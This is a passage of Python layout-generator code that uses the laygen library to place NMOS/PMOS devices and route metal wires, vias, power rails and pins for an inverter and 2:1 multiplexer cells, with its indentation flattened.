laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0+1, 0]), gridname0=rg_m1m2,
refinstname0=refinstname_en1, refpinname0='G1', refinstname1=refinstname_en1, refpinname1='G1')
renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_en1, refpinname0='G1', refinstname1=refinstname_en1, refpinname1='G1')
laygen.via(None, np.array([0, 0]), refinstname=refinstname_en1, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([-1, 0]), refinstname=ip1.name, refpinname='G1', gridname=rg_m2m3)
# output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=in1.name, refpinname1='D0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0', refinstname1=ip1.name, refpinname1='D0')
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=ip1.name, refpinname1='D0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='D0', gridname=rg_m2m3)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='D0', gridname=rg_m2m3)
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=xy_s0 * np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='S0', refinstname1=in1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=xy_s0 * np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='S0', refinstname1=ip1.name)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip4.name)
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in4.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I', 'EN', 'ENB', 'O'], rect_list=[ri0, ren0, renb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_mux2to1_1x(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body_2stack, #devname_nmos_body_left, devname_nmos_body_right,
devname_pmos_boundary, devname_pmos_body_2stack, #devname_pmos_body_left, devname_pmos_body_right,
origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
#in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body_left, gridname = pg, refinstname = in0.name)
#in2 = laygen.relplace(name = "I"+objectname_pfix + 'N2', templatename = devname_nmos_body_right, gridname = pg, refinstname = in1.name)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body_2stack, gridname = pg, refinstname = in0.name)
in3 = laygen.relplace(name = "I"+objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in4 = laygen.relplace(name = "I"+objectname_pfix + 'N4', templatename = devname_nmos_boundary, gridname = pg, refinstname = in3.name, transform='MY')
#in5 = laygen.relplace(name = "I"+objectname_pfix + 'N5', templatename = devname_nmos_body_right, gridname = pg, refinstname = in4.name, transform='MY')
#in6 = laygen.relplace(name = "I"+objectname_pfix + 'N6', templatename = devname_nmos_body_left, gridname = pg, refinstname = in5.name, transform='MY')
in6 = laygen.relplace(name = "I"+objectname_pfix + 'N6', templatename = devname_nmos_body_2stack, gridname = pg, refinstname = in4.name, transform='MY')
in7 = laygen.relplace(name = "I"+objectname_pfix + 'N7', templatename = devname_nmos_boundary, gridname = pg, refinstname = in6.name, transform='MY')
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body_left, gridname = pg, refinstname = ip0.name, transform='MX')
#ip2 = laygen.relplace(name = "I"+objectname_pfix + 'P2', templatename = devname_pmos_body_right, gridname = pg, refinstname = ip1.name, transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip0.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip4 = laygen.relplace(name = "I"+objectname_pfix + 'P4', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip3.name, transform='R180')
#ip5 = laygen.relplace(name = "I"+objectname_pfix + 'P5', templatename = devname_pmos_body_right, gridname = pg, refinstname = ip4.name, transform='R180')
#ip6 = laygen.relplace(name = "I"+objectname_pfix + 'P6', templatename = devname_pmos_body_left, gridname = pg, refinstname = ip5.name, transform='R180')
ip6 = laygen.relplace(name = "I"+objectname_pfix + 'P6', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip4.name, transform='R180')
ip7 = laygen.relplace(name = "I"+objectname_pfix + 'P7', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip6.name, transform='R180')
generate_inv_1x(laygen, objectname_pfix=objectname_pfix+'INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf1_left',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf1_left',
devname_pmos_space='pmos4_fast_space',
pin_i_abut='pmos', origin=laygen.get_xy(obj = in7, gridname = pg), pin_o_y=1, create_pin=False)
# in0
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([2, 1]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='G0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# in1
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in6.name, refpinname0='G0', refinstname1=ip6.name, refpinname1='G0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([2, 1]), gridname0=rg_m1m2,
refinstname0=in6.name, refpinname0='G0', refinstname1=in6.name, refpinname1='G0')
ri1 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='G0', refinstname1=in6.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 1]), refinstname=in6.name, refpinname='G0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in6.name, refpinname='G0', gridname=rg_m2m3)
# en0
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
# refinstname0=in2.name, refpinname0='G0', refinstname1=in2.name, refpinname1='G0')
#ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0-1]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
# refinstname0=in2.name, refpinname0='G0', refinstname1=in2.name, refpinname1='G0',
# endstyle0="extend", endstyle1="extend")
#laygen.via(None, np.array([0, 0]), refinstname=in2.name, refpinname='G0', gridname=rg_m1m2)
#laygen.via(None, np.array([-1, 0]), refinstname=in2.name, refpinname='G0', gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G1', refinstname1=in1.name, refpinname1='G1')
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0-1]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G1', refinstname1=in1.name, refpinname1='G1',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([-1, 0]), refinstname=in1.name, refpinname='G1', gridname=rg_m2m3)
# en1
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
# refinstname0=in5.name, refpinname0='G0', refinstname1=in5.name, refpinname1='G0')
#ren1 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2+1]), gridname0=rg_m2m3,
# refinstname0=in5.name, refpinname0='G0', refinstname1=in5.name, refpinname1='G0',
# endstyle0="extend", endstyle1="extend")
#laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='G0', gridname=rg_m1m2)
#laygen.via(None, np.array([-1, 0]), refinstname=in5.name, refpinname='G0', gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in6.name, refpinname0='G1', refinstname1=in6.name, refpinname1='G1')
ren1 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2+1]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='G1', refinstname1=in6.name, refpinname1='G1',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=in6.name, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([-1, 0]), refinstname=in6.name, refpinname='G1', gridname=rg_m2m3)
# enb0
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
# refinstname0=ip2.name, refpinname0='G0', refinstname1=ip2.name, refpinname1='G0')
#renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0-1]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
# refinstname0=ip2.name, refpinname0='G0', refinstname1=ip2.name, refpinname1='G0',
# endstyle0="extend", endstyle1="extend")
#laygen.via(None, np.array([0, 0]), refinstname=ip2.name, refpinname='G0', gridname=rg_m1m2)
#laygen.via(None, np.array([0, 0]), refinstname=ip2.name, refpinname='G0', gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='G1', refinstname1=ip1.name, refpinname1='G1')
renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0-1]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='G1', refinstname1=ip1.name, refpinname1='G1',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='G1', gridname=rg_m2m3)
# enb1
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
# refinstname0=ip5.name, refpinname0='G0', refinstname1=ip5.name, refpinname1='G0')
#renb1 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2+1]), gridname0=rg_m2m3,
# refinstname0=ip5.name, refpinname0='G0', refinstname1=ip5.name, refpinname1='G0',
# endstyle0="extend", endstyle1="extend")
#laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='G0', gridname=rg_m1m2)
#laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='G0', gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip6.name, refpinname0='G1', refinstname1=ip6.name, refpinname1='G1')
renb1 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2+1]), gridname0=rg_m2m3,
refinstname0=ip6.name, refpinname0='G1', refinstname1=ip6.name, refpinname1='G1',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=ip6.name, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip6.name, refpinname='G1', gridname=rg_m2m3)
# en/enb cross couple
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0-1]), xy1=np.array([0, -1]), gridname0=rg_m2m3,
# refinstname0=in2.name, refpinname0='G0', refinstname1=in5.name, refpinname1='G0')
#laygen.via(None, np.array([-1, -1]), refinstname=in2.name, refpinname='G0', gridname=rg_m2m3)
#laygen.via(None, np.array([0, -1]), refinstname=in5.name, refpinname='G0', gridname=rg_m2m3)
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0-1]), xy1=np.array([-1, -1]), gridname0=rg_m2m3,
# refinstname0=ip2.name, refpinname0='G0', refinstname1=ip5.name, refpinname1='G0')
#laygen.via(None, np.array([0, -1]), refinstname=ip2.name, refpinname='G0', gridname=rg_m2m3)
#laygen.via(None, np.array([-1, -1]), refinstname=ip5.name, refpinname='G0', gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0-1]), xy1=np.array([0, -1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G1', refinstname1=in6.name, refpinname1='G1')
laygen.via(None, np.array([-1, -1]), refinstname=in1.name, refpinname='G1', gridname=rg_m2m3)
laygen.via(None, np.array([0, -1]), refinstname=in6.name, refpinname='G1', gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0-1]), xy1=np.array([-1, -1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='G1', refinstname1=ip6.name, refpinname1='G1')
laygen.via(None, np.array([0, -1]), refinstname=ip1.name, refpinname='G1', gridname=rg_m2m3)
laygen.via(None, np.array([-1, -1]), refinstname=ip6.name, refpinname='G1', gridname=rg_m2m3)
# output
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
# refinstname0=in2.name, refpinname0='D0', refinstname1=in5.name, refpinname1='D0')
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
# refinstname0=ip2.name, refpinname0='D0', refinstname1=ip5.name, refpinname1='D0')
#ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
# refinstname0=in2.name, refpinname0='D0', refinstname1=ip2.name, refpinname1='D0')
#laygen.via(None, np.array([0, 0]), refinstname=in2.name, refpinname='D0', gridname=rg_m1m2)
#laygen.via(None, np.array([0, 0]), refinstname=ip2.name, refpinname='D0', gridname=rg_m1m2)
#laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='D0', gridname=rg_m1m2)
#laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='D0', gridname=rg_m1m2)
#laygen.via(None, np.array([1, 0]), refinstname=in2.name, refpinname='D0', gridname=rg_m2m3)
#laygen.via(None, np.array([1, 0]), refinstname=ip2.name, refpinname='D0', gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=in6.name, refpinname1='D0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0', refinstname1=ip6.name, refpinname1='D0')
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=ip6.name, refpinname1='D0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in6.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip6.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([1, 0]), refinstname=in6.name, refpinname='D0', gridname=rg_m2m3)
laygen.via(None, np.array([1, 0]), refinstname=ip6.name, refpinname='D0', gridname=rg_m2m3)
#muxoutput to inverter input
#laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
# refinstname0=in2.name, refpinname0='D0', refinstname1="I"+objectname_pfix+"INV0N1", refpinname1='G0',
# direction="x")
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1="I" + objectname_pfix + "INV0N1",
refpinname1='G0', direction="x")
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, -2]), gridname0=rg_m2m3,
refinstname0="I" + objectname_pfix + "INV0N1", refpinname0='G0',
refinstname1="I" + objectname_pfix + "INV0N1", refpinname1='G0')
laygen.via(None, np.array([0, -2]), refinstname="I" + objectname_pfix + "INV0N1", refpinname='G0', gridname=rg_m2m3)
#mux output
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0="I" + objectname_pfix + "INV0N1", refpinname0='D0',
refinstname1="I" + objectname_pfix + "INV0P1", refpinname1='D0')
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=xy_s0 * np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='S0', refinstname1=in1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=xy_s0 * np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='S0', refinstname1=ip1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=xy_s0 * np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in6.name, refpinname0='S0', refinstname1=in6.name)
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=xy_s0 * np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=ip6.name, refpinname0='S0', refinstname1=ip6.name)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in6.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip6.name, gridname=rg_m1m2)
# power and groud rail
rvdd = laygen.route("R" + objectname_pfix +"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]),
xy1=np.array([laygen.get_xy(obj=laygen.get_template(name = devname_pmos_boundary), gridname = rg_m1m2)[0], 0]), gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1="I" + objectname_pfix + "INV0P3")
rvss = laygen.route("R" + objectname_pfix +"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]),
xy1=np.array([laygen.get_xy(obj=laygen.get_template(name = devname_pmos_boundary), gridname = rg_m1m2)[0], 0]), gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1="I" + objectname_pfix + "INV0N3")
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I0', 'I1', 'EN0', 'EN1', 'O'], rect_list=[ri0, ri1, ren0, renb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_mux2to1(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body, devname_pmos_space,
m=2, origin=np.array([0, 0]), create_pin=False):
"""generate 2:1 mux"""
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m=max(1, int(m/2)) #using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in1a = laygen.relplace(name = "I"+objectname_pfix + 'N1A', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in1b = laygen.relplace(name = "I"+objectname_pfix + 'N1B', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1a.name)
in2 = laygen.relplace(name = "I"+objectname_pfix + 'N2', templatename = devname_nmos_body, gridname = pg, refinstname = in1b.name, shape=np.array([m, 1]))
in3 = laygen.relplace(name = "I"+objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in2.name)
in_rte = laygen.relplace(name = "I"+objectname_pfix + 'NRTE', templatename = devname_nmos_space, gridname = pg, refinstname = in3.name, shape=np.array([4, 1]))
in4 = laygen.relplace(name = "I"+objectname_pfix + 'N4', templatename = devname_nmos_boundary, gridname = pg, refinstname = in_rte.name, transform='MY')
in5 = laygen.relplace(name = "I"+objectname_pfix + 'N5', templatename = devname_nmos_body, gridname = pg, refinstname = in4.name, transform='MY', shape=np.array([m, 1]))
in5a = laygen.relplace(name = "I"+objectname_pfix + 'N5A', templatename = devname_nmos_boundary, gridname = pg, refinstname = in5.name, transform='MY')
in5b = laygen.relplace(name = "I"+objectname_pfix + 'N5B', templatename = devname_nmos_boundary, gridname = pg, refinstname = in5a.name, transform='MY')
in6 = laygen.relplace(name = "I"+objectname_pfix + 'N6', templatename = devname_nmos_body, gridname = pg, refinstname = in5b.name, transform='MY', shape=np.array([m, 1]))
in7 = laygen.relplace(name = "I"+objectname_pfix + 'N7', templatename = devname_nmos_boundary, gridname = pg, refinstname = in6.name, transform='MY')
in8 = laygen.relplace(name = "I"+objectname_pfix + 'N8', templatename = devname_nmos_boundary, gridname = pg, refinstname = in7.name)
in9 = laygen.relplace(name = "I"+objectname_pfix + 'N9', templatename = devname_nmos_body, gridname = pg, refinstname = in8.name, shape=np.array([m, 1]))
in10 = laygen.relplace(name = "I"+objectname_pfix + 'N10', templatename = devname_nmos_boundary, gridname = pg, refinstname = in9.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip1a = laygen.relplace(name = "I"+objectname_pfix + 'P1A', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip1b = laygen.relplace(name = "I"+objectname_pfix + 'P1B', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1a.name, transform='MX')
ip2 = laygen.relplace(name = "I"+objectname_pfix + 'P2', templatename = devname_pmos_body, gridname = pg, refinstname = ip1b.name, transform='MX', shape=np.array([m, 1]))
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip2.name, transform='MX')
ip_rte = laygen.relplace(name = "I"+objectname_pfix + 'PRTE', templatename = devname_pmos_space, gridname = pg, refinstname = ip3.name, shape=np.array([4, 1]), transform='MX')
ip4 = laygen.relplace(name = "I"+objectname_pfix + 'P4', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip_rte.name, transform='R180')
ip5 = laygen.relplace(name = "I"+objectname_pfix + 'P5', templatename = devname_pmos_body, gridname = pg, refinstname = ip4.name, transform='R180', shape=np.array([m, 1]))
ip5a = laygen.relplace(name = "I"+objectname_pfix + 'P5A', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip5.name, transform='R180')
ip5b = laygen.relplace(name = "I"+objectname_pfix + 'P5B', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip5a.name, transform='R180')
ip6 = laygen.relplace(name = "I"+objectname_pfix + 'P6', templatename = devname_pmos_body, gridname = pg, refinstname = ip5b.name, transform='R180', shape=np.array([m, 1]))
ip7 = laygen.relplace(name = "I"+objectname_pfix + 'P7', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip6.name, transform='R180')
ip8 = laygen.relplace(name = "I"+objectname_pfix + 'P8', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip7.name, transform='MX')
ip9 = laygen.relplace(name = "I"+objectname_pfix + 'P9', templatename = devname_pmos_body, gridname = pg, refinstname = ip8.name, transform='MX', shape=np.array([m, 1]))
ip10 = laygen.relplace(name = "I"+objectname_pfix + 'P10', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip9.name, transform='MX')
# in0
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([1, 1]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([-1, 1]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# in1
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in6.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip6.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 1]), refinstname=in6.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([1, 1]), gridname0=rg_m1m2,
